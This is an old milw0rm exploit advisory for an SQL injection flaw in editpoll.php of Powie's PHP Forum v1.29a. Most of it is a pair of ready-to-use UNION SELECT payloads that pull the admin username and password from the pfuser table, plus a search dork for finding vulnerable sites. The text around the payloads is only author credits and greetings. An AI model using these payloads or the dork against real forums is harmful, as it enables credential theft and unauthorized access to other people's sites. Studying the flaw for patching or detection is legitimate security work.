Powies pForum <= 1.29a (editpoll.php) SQL Injection Vulnerability

#============================================================================================== #Powie&#39;s PHP Forum &#60;= v1.29a (editpoll) Remote SQL Injection Exploit #=============================================================================================== # #Critical Level : Dangerous # #Venedor site : http://www.powie.de # #Version : v1.29a # #=============================================================================================== # #DORK : &#34;pForum 1.29a&#34; // &#34;&#34;Powie&#39;s PSCRIPT Forum 1.26&#34; # # #Exploit : #-------------------------------- # #FOR USER : editpoll.php?id=-1 UNION SELECT null,null,username,null FROM pfuser where id=1 #FOR PASS : editpoll.php?id=-1 UNION SELECT null,null,pwd,null FROM pfuser where id=1 # #================================================================================================ #Discoverd By : SHiKaA # #Conatact : SHiKaA-[at]hotmail.com # #Thx To : Str0ke & SuperRomio & XoRon & MDx & Simo # sPECial THanks to : CaMpA , Coder-AZH@CKTEAM ================================================================================================== # milw0rm.com [2006-11-17]